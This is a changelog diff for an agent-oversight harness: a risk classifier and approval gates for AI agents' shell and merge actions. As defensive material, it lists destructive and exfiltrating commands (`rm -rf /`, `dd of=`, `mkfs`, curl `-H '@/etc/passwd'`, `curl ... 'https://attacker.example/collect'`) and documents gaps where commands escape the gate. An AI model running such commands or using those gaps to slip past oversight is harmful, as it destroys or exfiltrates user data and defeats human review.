@lannguyensi/harness 0.53.0 → 0.55.0

package/CHANGELOG.md

@@ -7,6 +7,75 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
 
 ## [Unreleased]
 
+## [0.55.0] - 2026-09-04
+
+### Added
+
+- **A curl read-only SHAPE floor for the Risk Classifier** (task `fdaad781`, decision D-026), reintroducing a `low`-severity `curl` recognition after decision D-013 (task `2929c5b7`) removed one entirely, following a per-flag DENYLIST and then a per-flag ALLOWLIST that each leaked (round 2 missed `-o`; round 3 admitted `-w`/`--write-out`, whose format string writes a local file via curl 8.3.0's `%output{FILE}` directive). Both leaks shared one root cause: a per-flag list is only as correct as the last reasoner's enumeration of every flag's write capability across every curl version. This floor inverts the burden instead: it recognizes ONE narrow invocation SHAPE and forfeits (stays unclassified) on every other spelling, so a flag nobody has reasoned about here can only widen the unclassified, approval-gated set; it can never slip into `low` by omission.
+  - `isReadOnlyCurlCommand` (`src/runtime/read-only-bash.ts`), wired ONLY into `src/runtime/risk-classifier.ts` next to the sed and kubectl floors, below the built-in destructive floor. `isReadOnlyBashCommand`'s own body (and `isReadOnlyBashPipeline`'s, and `isReadOnlySedCommand`'s, and `isReadOnlyKubectlCommand`'s) is untouched -- round 2 later added a `\r` clause to their SHARED `hasUnsafeShellMetachar` preamble (see round-2 note below), which makes all four strictly more restrictive for a bare carriage return, not byte-identical to before that clause landed; observable through `isReadOnlyBashCommand`'s two consumers, the understanding-gate PreToolUse blocker and the solution-acceptance write-guard.
+  - **Round 2 (adversarial review of round 1's own shipment) hardened the shape before this entry ever left `[Unreleased]`**, measured against curl 8.7.1: a bare `curl -s '<url>'` (round 1's own positive fixture) writes an operator-invisible file through `~/.curlrc`'s `output` directive, closed by making `-q`/`--disable` a MANDATORY second word (curl only honors it as the first argument); `-L`/`--location` forwards a custom `-H` header across a redirect to a different host over plaintext http, dropped from the closed flag set; `-k`/`--insecure` (a deliberate TLS-verification bypass) dropped from the closed flag set too; a bare `\r` (no paired `\n`) in a `-H` value reaches curl's wire unmodified, refused by adding `\r` to the shared whole-command metachar guard (`hasUnsafeShellMetachar`) and to the header-value check; `CURL_SHAPE_URL_RE` excluded `?`/`*`, forfeiting the most common read-only spelling (a URL with a query string), both now admitted (curl's own globbing uses only `{}`/`[]`, and the operand stays single-quoted so the shell cannot glob either way); `splitCurlWords`' separator class narrowed from JS `\s` (a superset of bash's default IFS) to space/tab only.
+  - Allowed shape (as shipped in round 2; revised twice since and narrowed in round 4, see rounds 3 and 4 below): head exactly `curl` (no path prefix, no `env`/`command`/`sudo` wrapper); mandatory `-q`/`--disable` as the very next word; exactly one operand, a single-quoted `https://` URL excluding a single quote, whitespace, `{`, `}`, `[`, `]`, backslash, backtick, and `$` (but NOT `?`/`*`), `http://`, or userinfo; flags only from `-s`/`-S`/`-f`/`-I` (any cluster combination), `--silent`/`--show-error`/`--fail`/`--head`, and `-H`/`--header` or `-m`/`--max-time`/`--connect-timeout` in separate-token form only (quoted header value, no `@` prefix once leading whitespace is trimmed (round 4), no `$`/backtick (a newline or carriage return anywhere in the command is refused by the shared whole-command guard, see round 3); bare-integer timeout), never glued, never `=`-joined, never repeated. Any chaining, redirection, substitution, carriage return, unknown flag, or second operand forfeits the whole command.
+  - **A splitter built only for this floor.** `splitCurlWords` is quote-aware, unlike every other floor in this file, which treats `trimmed.split(/\s+/)` as the tokenizer: a quoted value containing a space (`-H 'Accept: application/json'`) must parse as one token, which the naive split cannot do.
+  - Residuals (see docs/risk-gate.md for the full list): URL- and header-only exfiltration to the named `https` host is still authorized (`curl -q -s 'https://attacker.example/collect'` floors `low`; no flag analysis decides whether a URL is trustworthy); proxy environment variables (`http_proxy`, `ALL_PROXY`, ...) and `CURL_CA_BUNDLE` sit entirely outside argv, so this shape cannot see them; the closed flag list is proven inert only against curl 8.7.1, the version measured throughout; `--libcurl`/`--alt-svc`/`--hsts` each write a local file and are named by neither this floor nor the destructive floor's write-flag scan, so they stay unclassified (approval-gated) by omission, the intended fail-safe; a MULTI-parameter query string joined by `&` also forfeits, even single-quoted -- the shared whole-command metachar guard rejects a bare `&` with no quote awareness at all, so round 2's `?`/`*` admission closes only the single-parameter query-string spelling, not the more common multi-parameter one, and closing this residual would require making that shared guard quote-aware, deliberately left out of scope.
+  - **Tests** (`tests/runtime/read-only-floors.test.ts`): positive fixtures for every allowed spelling in the shape (now `-q`-qualified, including a query string with `?`); negative fixtures split by exact outcome (genuinely unclassified vs. raised to `high` by the destructive floor instead of floored `low`), each isolating exactly one forbidden spelling against an otherwise-valid `curl -q -s '<url>'` base; a dedicated fixture for a literal CR in a header value; the unchanged residual; the pre-existing generic `--help`/`--version` shape; and pins that `isReadOnlyBashCommand` still never accepts curl. Mutation probes (each applied, run, and reverted): admitting `o` into the no-value short-flag cluster set turns the `-so` (lowercase, glued, no separate operand) negative red; removing `isAllowedCurlFlagValue`'s `@`-prefix check turns the two QUOTED `@`-value negatives red (`-H '@/etc/passwd'` and `--header '@-'`) -- the pre-existing unquoted `-H @f` fixture never reaches that check at all, since an unquoted value forfeits one line earlier; admitting `$` into `CURL_SHAPE_URL_RE`'s path class turns the single-quoted-`$` negative red; removing the mandatory `-q`/`--disable` check turns a dedicated `curl -s '<url>'` (no `-q`) negative red; re-admitting `-L` into the closed flag set turns the `-L` negative red. (Round 1's CHANGELOG entry here previously claimed a mutation probe on `-o` as the discriminating case; that claim did not reproduce on inspection -- `-o`'s value check already rejects a non-numeric value like `f` on the ORIGINAL code, independently of whether `-o` is on the value-taking-flag list, so admitting `-o` alone does not turn that fixture red. Replaced with the `-so` cluster probe above, which is verified to discriminate.)
+  - Docs: `docs/risk-gate.md`'s curl section rewritten for the round-2 posture (the hardening history with its curl-8.7.1 ground truth, the updated shape, the residuals, and the operator escape hatch), the destructive-floor's `low` recognized-shapes row updated, and the "Unclassified actions" section's curl paragraph updated to name the mandatory `-q`. `docs/examples/full-manifest.yaml`'s curl comment updated to match. `docs/okf/quote-model-divergence.md` gains a fourth shell-word-model entry for `splitCurlWords` (previously undercounted as "three independent shell-word models").
+  - **Round 3 (adversarial review of round 2's own shipment) pinned three round-2 properties that shipped without discriminating coverage, and fixed the round-2 doc/comment claims that had drifted from the round-2 code.** No grammar change: `isReadOnlyCurlCommand`'s accepted language is unchanged.
+    - **Tests**: two negative fixtures pin that `-q`/`--disable` must be the SECOND word, not merely present anywhere (`curl -s -q '<url>'` and `curl '<url>' -q`); a third pins that curl's own leading-cluster honoring of `-q` (`-qs`) is a deliberate divergence this floor does not follow. Three new pins in `tests/runtime/read-only-bash.test.ts` cover the `\r` clause in the shared `hasUnsafeShellMetachar` preamble directly for `isReadOnlyBashCommand`, `isReadOnlyBashPipeline`, and `isReadOnlySedCommand` (previously exercised only through curl-specific fixtures, leaving the other three consumers of the shared guard unpinned for this property). A new positive fixture pins `-H ' @/etc/passwd'` (leading space, not `@`-prefixed after quote-stripping): measured against curl 8.7.1 against a local echo server, curl sends NO header at all for a value that fails its own `Name: Value` syntax, so this floors `low` correctly rather than by accident.
+    - **Dead-code removal**: `isAllowedCurlFlagValue`'s own `\n`/`\r` rejection for a `-H` value was unreachable -- `hasUnsafeShellMetachar`'s whole-command guard already refuses either character anywhere in the command before any word is split out -- so it was removed, keeping only the `` ` ``/`$` check there. No behavior change: `hasUnsafeShellMetachar` refuses both characters for the whole command before any word is split out, and `command.trim()` can only strip a leading or trailing one, never one inside a quoted value; the round-3 reviewer confirmed this with a 63-spelling differential run against a build with the clause restored.
+    - **Mutation probes** (each applied, run, and reverted): accepting `-q`/`--disable` anywhere instead of only as the second word turns the two new position-guard fixtures red; removing `\r` from `hasUnsafeShellMetachar` turns the three new `read-only-bash.test.ts` pins red AND the pre-existing curl-CR pin in `read-only-floors.test.ts` red (confirming that pin's load-bearing guard moved entirely onto the shared preamble once the redundant per-value check was removed); accepting a `-qs`-style leading cluster as satisfying the second-word check turns only the dedicated `-qs` fixture red, none of the others.
+    - **Docs**: `docs/risk-gate.md`'s curl section corrected in several places that had drifted from the round-2 code: the "proven incapable of naming a file or a method" claim now says explicitly that HEAD is the one method the allowlist selects, not "no method" (curl's `-I`/`--head` does select HEAD, which is read-only); the whole-command-guard bullet now names `isReadOnlyBashPipeline` as the one exception (it keeps its own narrower reject set so a bare `|` stays admissible, rather than reusing `hasUnsafeShellMetachar`); the header-value carriage-return paragraph no longer claims `\r` is "refused twice over" now that the redundant per-value check is gone, and now says the whole-command guard's `\r` forfeit exempts only leading/trailing whitespace (stripped by `command.trim()` first); the operand-shape bullet's "closes the most common read-only spelling" claim is narrowed to single-parameter query strings, with a new Residuals entry naming that a `&`-joined multi-parameter query string still forfeits even single-quoted (the shared whole-command guard is quote-unaware by design; making it quote-aware for this one floor was out of round 2's scope and stays out of round 3's). `CHANGELOG.md`'s round-2 entry's claim that the shared write-guard predicate `isReadOnlyBashCommand` "is untouched and stays byte-identical" is corrected: its own body is unchanged, but its shared `hasUnsafeShellMetachar` preamble gained the `\r` clause, so it (and `isReadOnlyBashPipeline`, `isReadOnlySedCommand`, `isReadOnlyKubectlCommand`) is now strictly MORE restrictive for a bare carriage return than before round 2, not byte-identical. `docs/examples/full-manifest.yaml` and `docs/okf/debug-verb-selection.md` get the same "no file, HEAD is the one selectable method" correction. `hasUnsafeShellMetachar`'s own docstring in `read-only-bash.ts` is corrected: it is shared by `floorArgv` (`isReadOnlySedCommand`'s own preamble, `floorArgv`'s only caller since D-013), and consumed DIRECTLY by `isReadOnlyCurlCommand`, not through `floorArgv` as the comment previously implied. `CURL_WORD_SEPARATOR_RE` and its comment moved above `splitCurlWords`'s own docstring so each JSDoc block sits on the symbol it documents, and the curl constants'/functions' "measured against curl 8.7.1" clauses now point at `docs/risk-gate.md`'s curl section (which keeps the measurement) instead of repeating it inline.
+  - **Round 4 (review of round 3) moved the `@` header-value check onto the shape**: `isAllowedCurlFlagValue` now trims leading whitespace before testing for `@`, so `-H ' @/etc/passwd'` (and the tab spelling) forfeits instead of flooring `low`. Round 3 had pinned that spelling as a positive because curl 8.7.1 drops such a header unsent; that made the ALLOW decision rest on curl's own header parser, the version-skew failure mode this floor exists to avoid. Two negatives replace the positive, and the long spellings `--location`/`--insecure` gain their own negatives next to `-L`/`-k` (a mutant re-admitting only the long forms shipped green before). Strictly more restrictive than round 3; no other grammar change.
+
+- **`verifyDelegation` now gives an absent conventional launcher report its own dedicated `report_missing` reason, distinct from `report_path_mismatch` and `report_content_mismatch`** (agent-tasks `204efc56`, follow-up to `49d1ee41`). Previously an absent `harness.generated/.delegation-reports/<child-sid>.md` surfaced as `report_content_mismatch` (or, non-deterministically under a symlinked temp root such as macOS `os.tmpdir()`, `report_path_mismatch`), which told the operator the report was wrong rather than that it did not exist. In the shipped hook channel the conventional path is derived from the child session id on both sides, so a report moved or renamed away from that path also yields `report_missing`, not a distinct "moved" reason; `report_path_mismatch` is reachable only through a resolvable symlink sitting at the conventional path (caught by the path-hash comparison, since a symlink answers `present` to the existence probe) or through the no-report-path-offered branch, and `report_content_mismatch` covers everything present but wrong: bytes that do not match the bound hash, an unreadable file, a dangling symlink, or a directory.
+  - `DelegationRefusalReason` (`src/policy-packs/builtin/understanding-before-execution/delegation-markers.ts`) gains `report_missing`. A stat-only existence probe (`probePathPresence`, `src/io/read-regular-file.ts`) runs BEFORE the path hash: existence is decided independently of `hashDelegationCwd`'s missing-path fallback (`path.resolve`), so a symlinked temp root can no longer flip the reason. This is a bare `lstat`, not a read: a resolvable symlink or a directory answers "present" and falls through, so a resolvable symlink is still caught one step later at the path-hash comparison (`report_path_mismatch`), and only a dangling/looping symlink or a directory reaches the single full read (`readRegularFileRejectingSymlink`, still after the path hash and the content-hash presence check pass) and is refused there (`report_content_mismatch`). The ok path still hashes and returns one set of bytes exactly as before; the only change is one extra `lstat` call ahead of it, not an extra read. `src/io/read-regular-file.ts`'s reader and probe now share one `lstatOrNull` helper holding the single `fs.lstatSync` try/catch, so the two exports' doc comments' "same lstat call" claim is literally true; `probePathPresence` is the probe's name (renamed from `probeRegularFilePresence`, which over-promised: it answers "present" for a symlink or a directory too, not just a regular file).
+  - `src/cli/pack/hook-pre-tool-use.ts` stderr wording (already dynamic on `verified.reason`/`verified.detail`) now names `report_missing` in its comment; no behavior change there beyond the new reason value flowing through.
+  - Docs: `docs/decisions/2026-08-27-ug-auto-mode-approval.md` (the launcher-report-channel paragraph now names the state each of the three reasons covers, not a moved/content-modified pairing), `docs/policy-packs/understanding-before-execution.md` (the `--report` fallback-shape paragraph does the same), `docs/okf/evidence-ledger-trust-boundary.md` (the shared-reader paragraph names the one shared `lstat` helper and its consumers).
+  - **Tests**: `tests/policy-packs/understanding-before-execution-delegation.test.ts` pins `report_missing` on a never-written report (both a non-realpathed and an explicitly realpathed temp root) and on a report STAGED then deleted before verify (a symlinked temp root, where the bind-time and verify-time path hashes would otherwise disagree); a SYMLINK and a DIRECTORY at the conventional path each pin the negative (`expect(result.reason).not.toBe("report_missing")`), landing on `report_path_mismatch` and `report_content_mismatch` respectively; a hand-signed half-binding (report path bound, no `reportContentHash`, a shape `writeDelegationMarker` itself refuses to produce) with an absent file pins `report_missing` over `report_content_mismatch`. Also added: a read-order fixture pinning that the full read never happens before the path hash on a mismatch, a call-count fixture pinning exactly one full read on the ok path, an EACCES-containing-directory fixture (`report_missing`, skipped under root or on Windows), and a DANGLING-symlink fixture pinning `report_content_mismatch` (not `report_missing`, not `report_path_mismatch`). `tests/io/read-regular-file.test.ts` gained direct `probePathPresence` coverage (regular file, resolvable symlink, dangling symlink, directory, absent path each classified, plus a fixture pinning that the probe performs no read). `tests/cli/pack-hook-pre-tool-use-delegate.test.ts` case (w) (moved/absent conventional report) now expects `report_missing` instead of the previous `report_content_mismatch`. Mutation probes: removing the existence check (restoring the fall-through straight into the path-hash comparison) turns the new report_missing-pinned tests red; hoisting the full read above the path hash turns the read-order and call-count fixtures red; making the shared `lstat` helper return null for a symlink turns the symlink fixtures and the new probe tests red. Restoring each turns its fixtures green again.
+
+### Security
+
+- fast-uri 3.1.7 in the lockfile (transitive under ajv), closing GHSA-5jgf-p345-68v8, GHSA-f65p-4m7j-42xc, GHSA-fph4-wmhf-6fwf, and GHSA-jqff-g426-hqxp (#495).
+
+
+## [0.54.0] - 2026-09-01
+
+### Added
+
+- **The child's PreToolUse hook now consumes the launcher-supplied Understanding Report the `--report` fallback shape of `harness delegate` mints** (agent-tasks `49d1ee41`, follow-up to UG auto-mode slice 3, agent-tasks `37ad0b05`). Previously `harness delegate --report <path>` minted a fully signed, verifiable delegation, but the child's hook never passed `verifyDelegation` a `launcherReportPath`, so every report-bound delegation was refused (`report_path_mismatch`) unconditionally and the transcript scan was the only report channel this release actually acted on, documented in the pack doc as "issued and verifiable, not yet consumed".
+  - **Conventional path channel.** `delegationReportPathFor` (`src/policy-packs/builtin/understanding-before-execution/delegation-markers.ts`) derives `harness.generated/.delegation-reports/<child-sid>.md` from nothing but the child session id, which `harness delegate` already takes as a required argument at delegation time. `harness delegate --report <path>` copies the operator's file there (mode 0600), refusing (new reason `report-conflict`, distinct from `report-unreadable`) rather than silently overwriting a DIFFERENT file already staged for the same child session; an identical restage is a no-op. The `report=` segment of the signed `approvedBy` string, and `reportContentHash`, now bind THIS conventional copy (its realpath and its bytes), not the operator's original `--report` argument, since the child's hook has no channel to learn an arbitrary operator-chosen path.
+  - **Hook side.** `src/cli/pack/hook-pre-tool-use.ts` offers the conventional path to `verifyDelegation` unconditionally on every delegation check (a no-op for a delegation that binds no `report=` segment). On success, a report-bound delegation (`verified.reportPathHash !== undefined`) skips the transcript scan entirely and instead reads the conventional file, adopts it once via the SAME once-per-session `.delegation-adoptions/<child-sid>` ledger the transcript scan uses, keyed by the report's CONTENT hash, namespaced `report:` so the id shapes can never collide with the scan's `uuid:`/`digest:` ids, and persists it `pending` through the same `persistStdinReport` path, for the auto path below to consume exactly as it consumes a transcript-captured report. A missing, moved, or content-modified file at the conventional path blocks through the verifier's existing distinct reasons (`report_path_mismatch` / `report_content_mismatch`); no new refusal reason was added on the read side, and the special-cased "not yet consumed" stderr wording was removed.
+  - **Adoption-once, verified for real.** Mutation probe 1: disabling the once-per-session adoption check (`adopted.ids.has(entryId)`) turns the new "(r2) ... cannot mint a second marker from the SAME launcher report once the first expired" test red; restoring the check turns it green again. Mutation probe 2: disabling the verifier's content-hash comparison (`actualContentHash !== boundContentHash` inside `verifyDelegation`) turns the new "(w2) ... whose CONTENT was modified" test red, since nothing then stops a modified conventional file's stale hash from minting; restoring the comparison turns it green again. A round-2 fix added a third probe: `verifyDelegation` now returns the exact bytes it verified (`reportContent`) and the hook persists THOSE bytes instead of re-reading the file, closing a verify-then-persist race. Restated in round 3 to name what actually discriminates: appending trailing text to the persisted markdown is dropped by the parser and leaves the probe green, so mutation probe A2 instead alters a PARSED section (`currentUnderstanding`) before persist, which turns the "(w3) ... report-bound delegation" test red; restoring the unmodified bytes turns it green again. The "reintroduces a second, unchecked read" half is pinned by its own dedicated test added in round 3: "(w4) pins the single-read persist path" (`tests/cli/pack-hook-pre-tool-use-delegate.test.ts`) mocks the conventional file's reader to hand back the bound bytes on the first read and tampered bytes on any read after that, so a regression that re-reads the file lands the tampered content in the persisted report and turns (w4) red; restoring the single-read path (`reportContent = verified.reportContent`, no second read) turns it green again.
+  - **Tests** (`tests/cli/delegate.test.ts`, `tests/cli/pack-hook-pre-tool-use-delegate.test.ts`): the conventional copy's mode/content/path binding, the `report-conflict` refusal and its idempotent-restage counterpart, hook cases for happy path (adopted, persisted pending, marker minted, transcript never scanned), a moved (absent) conventional file, a content-modified conventional file, second-call-after-marker-expiry adoption (the once-per-report mint), and confirmation that an unbound/cwd-task-only delegation is unaffected (the existing suite's negative controls, unchanged).
+  - Docs: `docs/decisions/2026-08-27-ug-auto-mode-approval.md` ("Amendment: the launcher-report channel is consumed by the child hook"), `docs/policy-packs/understanding-before-execution.md` (the `--report` fallback-shape paragraph and a "Cleanup" residue sentence for `.delegation-reports/`, not yet gc'd, folded into gc follow-up task `3ece079d`), `docs/CLI.md` (the `delegate` row), `docs/okf/understanding-gate-auto-mode-signals.md` ("Verdict (iv), interactive": the fallback channel is now live).
+
+- **The review-before-merge gate now covers `mcp__agent-tasks__task_merge` and `mcp__agent-tasks__task_finish` (`autoMerge`), via a new `trigger.input_match` predicate** (task `2699b476`). Closes the residual the 99f47307 Slice 1 entry named twice below (round-2 F4 and the round-3 residual list, entry (c)): only `pull_requests_merge` and `gh pr merge` were gated, so the two task-scoped verbs that also land a PR passed with "no policy matched event".
+  - **New trigger field `trigger.input_match`** (`src/schema/policies.ts`, `src/schema/extract.ts`): a map from a `toolArgs.`-namespaced extract expression (same grammar and parser as `trigger.extract`) to a `string`/`number`/`boolean` literal, ANDed onto the other trigger fields and compared by STRICT equality (same JSON type and value). A missing path never matches, an empty map is a validation error, and a non-`toolArgs` namespace is rejected at parse time with a message naming the namespace, so a typo like `event.autoMerge` is a loud error rather than a predicate that quietly never fires. The check lives in `PolicyTriggerSchema`, the same layer `bash_match` / `path_match` are declared at, so `validate`, `apply`, `doctor`, `loadManifest` and the intercept entrypoint all refuse the bad shape. This is what separates the merging mode of `task_finish` (`autoMerge: true`, both the soloMode work claim and the review claim + approve) from the ordinary one, which merges nothing and stays uninterceptable.
+  - **Evaluated once, read twice.** `firstInputMatchMismatch` (`src/io/extract.ts`) is called by `policyMatchesEvent` (`src/runtime/intercept.ts`) and by dry-run's `policyMatchesTool` (`src/cli/dry-run.ts`), so `harness policy dry-run` predicts exactly what `policy intercept` decides, keeping the parity contract `docs/okf/debug-verb-selection.md` records. A non-matching payload comes back in the "could match" bucket naming the failing entry and both values. Fail direction on an unparseable expression (only reachable from a hand-built `Manifest`): the entry is treated as HOLDING, so the gate stays armed rather than silently excusing the call.
+  - **Two new shipped policies plus their hooks**, in `FULL_TEMPLATE`, `TEAM_TEMPLATE` and `docs/examples/full-manifest.yaml`: `review-before-task-merge` (`match: mcp__agent-tasks__task_merge`) and `review-before-task-finish-automerge` (`match: mcp__agent-tasks__task_finish`, `input_match: { toolArgs.autoMerge: true }`), both extracting `TASK_ID: toolArgs.taskId` and requiring `review:${TASK_ID}`. Each gets its OWN hook (`require-review-evidence-task-merge` / `require-review-evidence-task-finish`) because a hook's `match` is what `harness apply` projects into settings.json's tool-name matcher: a matcher for `pull_requests_merge` never spawns `harness policy intercept` for either verb. An existing install picks these up only by re-running `harness init` / `harness apply`.
+  - **Derivation parity.** `src/runtime/workflow-policies.ts` derives the same two policies from a qualifying `workflows:` entry, structurally identical to the shipped ones apart from name and description (pinned by the parity assertion in `tests/runtime/workflow-policies.test.ts`, now covering all four gates, and for the two new ones also their `producers:` / `ux:`). Each is derived ONLY when its own hook is declared: a derived gate whose hook is not wired into settings.json would never be invoked and would read as enforced while doing nothing, the same "No-Op that LOOKS protective" shape `checkWorkflowGateWiring` exists to prevent. A manifest predating the two hooks therefore derives exactly the pair it always did, and `hasWiredMergeGateHooks` is unchanged. `trigger.input_match` also joined `triggerSurfaceKey`, so a hand-authored policy that gates a DIFFERENT `autoMerge` value no longer dedupes the derived gate away.
+  - **Producer.** `harness record review` grew an optional `--task <id>` that appends `review:<task-id>` to the same single fact it already writes (`review:<pr>` + `review:<branch>` + `review:<base>`), so one `harness record review --pr <n> --task <id> "<summary>"` satisfies all four merge gates. The id is validated loosely (non-empty, no whitespace); a value with internal whitespace is rejected because it would split into two tags in the fact content and satisfy a gate keyed on the first half.
+  - **Verification.** Intercept-level allow/deny coverage runs through the real `runInterceptCli` entrypoint (`tests/runtime/intercept-cli-workflow-gate.test.ts`): deny with an empty ledger and allow with the recorded fact for both verbs; a plain `task_finish`, `autoMerge: false`, and `autoMerge: "true"` (string) each pass with NO decision recorded at all; a `task_merge` with no `taskId` in the payload denies as `deny-degraded` rather than allowing; a manifest carrying both the hand-authored gate and the derivation evaluates exactly one policy per call. Mutation probes (each applied, run, and reverted): making the `input_match` evaluation unconditionally true turns the three not-intercepted tests red; dropping the task_merge policy from the derivation turns the parity test red; dropping the `input_match` arm from dry-run's `policyMatchesTool` turns the dry-run parity fixture red; dropping `input_match` from `triggerSurfaceKey` turns the two surface-key dedupe tests red.
+  - Docs: `docs/for-agents.md` (the residual paragraph now describes the coverage and the `--task` producer), `docs/writing-custom-policies.md` (new "One tool, two modes" recipe plus the field-reference row), `docs/CLI.md` (`record review --task` and its tag-semantics note).
+  - **Round-2 hardening** (review round 1 on the same task): `input_match` now evaluates against BOTH `tool_input` and `raw_input` when a payload carries them as separate non-null objects, so a benign value in one field can no longer shadow a merging value in the other and leave the gate unarmed; and `harness validate` now warns when a qualifying workflow wires the original `pull_requests_merge` / `gh pr merge` evidence pair but not the two task-scoped hooks, naming the uncovered verbs instead of staying silent.
+
+- **`tests/decisions-citations-resolve.test.ts` guards every backtick-anchored source citation in `docs/decisions/*.md`** (agent-tasks `6f719bb4`). Each citation must be a repo-relative, anchored `` `path:N-M#"text on line M"` `` (or `:N` for a single line); the guard fails on a stale path, an out-of-range or blank-start range, an anchor absent from the range's last line, or an anchor that recurs elsewhere in the range. That pins the range's end line: a citation cannot silently drift onto different code without also changing what its anchor matches. It does not pin the start line on its own, and a bare, non-backtick line reference is outside the grammar and stays invisible to the guard.
+
+### Changed
+
+- **Permission-mode observation stays unsigned; the decision and its threat-model reasoning are now recorded in the ADR** (agent-tasks `a4ceb6be`), not just a review-round changelog note. `docs/decisions/2026-08-27-ug-auto-mode-approval.md` gained the "Amendment: permission-mode observation stays unsigned" section: signing the hook-written observation would only prove the hook signed the record, not that a session actually ran under the claimed permission mode, and it would open a second, unconditional signing surface for the marker-signing key (not a path to mint an approval marker, which stays namespaced by markerId), the exact widening the ADR's threat model already names as a residue. The `harness doctor` finding's message now names the evidence honestly ("hook-written, unsigned self-report; confirm from your own launch settings before enabling auto_approve"), and `permission-mode-observations.ts`'s and `bypass-without-auto-approve.ts`'s module headers, plus `docs/policy-packs/understanding-before-execution.md`, point at the ADR paragraph instead of leaving the older "possible future hardening" framing standing. No behavior change: the observation was already unsigned and the finding was already advisory-only.
+- **`docs/decisions/*.md` source citations re-pointed and anchored** (agent-tasks `6f719bb4`). Every citation in the ADRs now names a repo-relative path with an anchor verified against the current tree; several had drifted onto unrelated lines after later changes (an unrelated constant move, new slice-1/slice-3 code) moved the code they described. A "Citation convention" note at the top of `docs/decisions/2026-08-27-ug-auto-mode-approval.md` records the grammar and the guard test that enforces it going forward.
+- **`claude -p` delegation (slice 3) is decided Claude Code only on the consuming side, and the platform boundary is now documented rather than left implicit** (agent-tasks `be9faf70`). Consumption only: the Codex adapter has no delegation consumer, so a Codex session cannot be the delegated child; a Codex session holding a validly signed marker can still issue a delegation for a Claude child today, an accepted consequence of the shared marker contract (see the ADR's Platform scope amendment). The Codex adapter already shares slice 2's `permission_mode`-based auto-approval, but carries no delegation-marker consumer; a Codex-shaped port would need its own measured child-report capture channel and delegation verifier, not a code port of the three Claude-side pieces. Recorded as a "Platform scope" amendment to `docs/decisions/2026-08-27-ug-auto-mode-approval.md` with a reopen criterion, gap 14 in `docs/okf/codex-adapter-parity-gaps.md`, and the boundary named in the pack doc, `docs/CLI.md`, and the `harness delegate` `--help` text.
+
+### Fixed
+
+- **An unclassified action no longer satisfies `risk.severity_at_least: critical` on its own** (agent-tasks `2929c5b7`). It still satisfies `low`/`medium`/`high` (`risk.category_in` and `action.reversible` keep the full "unknown is not safe" fallback unchanged), but the top tier now requires a real classification: `evaluateWhen` (`src/runtime/when-eval.ts`) treats an unclassified profile as sitting one rung below the top of the severity scale ("high" on the shipped four-value scale) for `severity_at_least` comparisons only. No manifest opt-in restores the old blanket behavior; see `docs/risk-gate.md`'s "Unclassified actions and the fail-close rule". Motivation, measured on a production-resolved session: six consecutive read-only investigation commands (`cat`, `sed -n`, `curl`, `sshpass ssh`, `node -e`, `git -C ... rev-list`) were hard-denied by the shipped `gate-prod-destructive` policy, because none of them were classified and the old blanket rule let each one satisfy `severity_at_least: critical` exactly as `rm -rf /` would.
+  - **A built-in DESTRUCTIVE floor ships in the binary, so existing installs keep the hard block.** `src/runtime/destructive-shell-floor.ts`, composed in `classifyRisk` under the same highest-severity-wins rule as the existing floors. `harness init` writes a manifest once and never rewrites it, so shipping the compensating classification only as new `dangerous-shell` template patterns would have left every EXISTING manifest with the loosened fallback and no replacement. The floor classifies `critical` for `dd` with an `of=` target, `truncate -s` (glued `-s0` included), `shred`, `mkfs`/`mkfs.*`, `find ... -delete`, `find ... -exec(dir) rm`; `high` for `git reset --hard`, `git push --force`/`--force-with-lease`/`-f`/`+refspec`, `git clean -f` (cluster-aware), `git checkout .`, `git checkout -- .`, `git restore .`, `chmod`/`chown -R` (cluster-aware), `sed -i`, and `curl` carrying a local-write flag (`-o`, `-O`, `-D`, `-c`, `-K`, `--config`, `--output`, `--trace*`, `--create-dirs`, ...) or a body/method flag (`-d`/`--data*`/`--json`/`-F`/`--form*`/`-T`, or `-X`/`--request` naming anything but GET/HEAD). Since curl has no read-only floor to fall back on, its write-capable surface is recognised here as far as this argv-text scan can see it: `-w`/`--write-out` whose format string carries curl 8.3.0's `%output{FILE}` directive also counts as a local write (a format string itself read from a FILE, `-w @fmt.txt`, is a documented gap this scan does not close), and a local file read into the outgoing request classifies `high` with `network_exfiltration` alone, which keeps that profile `reversible: true`: `-H`/`--header` with a value starting `@`, or `-b`/`--cookie` with a value containing no `=` (curl's own rule for `-b`, `@`-prefixed or not — fix round 5 corrected this scan's earlier `-b @FILE`-only model to match). `shred`/`mkfs` are matched on their head token alone and so gained one exemption: an invocation whose ONLY argument is `--help`/`--version`/`-h`/`-V`/`-v`, which cannot destroy anything (`shred -v secret.txt` keeps its `critical`). It resolves the real head through path prefixes (`/bin/dd`), `VAR=`/`env`/`command`/`sudo`/`nice`/`timeout`/`exec`/`nohup` wrappers (reusing `peelWrapperPrefixes`), `busybox`, and `sh -c "..."` / `bash -lc '...'`, none of which a raw-string regex can follow. An operator pattern can raise above it; nothing sinks below it.
+  - **The `dangerous-shell` template patterns are that floor's operator-editable mirror**, kept in `FULL_TEMPLATE` and `docs/examples/full-manifest.yaml` (lockstep guard: `tests/cli/init-full-template-parity.test.ts`), and tightened this round: `truncate` now matches the glued `-s0` form, `chmod`/`chown` is short-cluster-aware like `git clean`'s pattern, the `curl` body pattern covers `--json`/`-F`/`--form`/`--form-string` and any `-X`/`--request` method other than GET/HEAD in any letter case, and a third `curl` pattern covers the local-write flags (`-o`/`-O`/`-D`/`-c`/`-K` in a cluster, the long spellings, and `-w`/`--write-out` with `%output`). The mirror stays narrower than the floor for the `@FILE` value on `-H`/`-b`, whose `@` a raw-string pattern cannot tell from an `@` anywhere else in the line. `tests/runtime/destructive-shell-floor.test.ts` pins that every template pattern's canonical spelling is also caught by the built-in floor, at the same severity or higher.
